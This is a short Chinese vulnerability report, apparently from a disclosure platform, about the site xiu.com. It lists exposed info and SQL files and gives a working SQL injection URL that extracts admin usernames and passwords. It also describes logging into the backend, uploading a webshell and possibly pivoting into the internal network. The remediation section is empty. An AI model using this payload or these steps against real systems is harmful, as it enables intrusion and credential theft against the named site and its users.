走秀网某频道SQL注射及引起的安全问题
详细说明：
首先是一些信息泄漏：
http://media.xiu.com/info.php
http://media.xiu.com/user.php
http://media.xiu.com/test.sql
 
继而发现SQL注射：
http://media.xiu.com/smallc.php?id=1%20and%201=2%20union%20select%201,concat%28user_name,0x7c,password%29,3,4%20from%20zoshow_adminuser
 
从而成功进入后台，然后在发广告的地方上传拿shell。
发现除了那个系统外，还有一个像是重要的业务系统在运行，不过这里就没有深入了。这服务器也是可以用作内网继续渗透的。
 
除了上面外，好像
http://xiuipad.com/install.php
这个也算是信息泄漏



 
 
修复方案：
应该懂!


作者 Jannock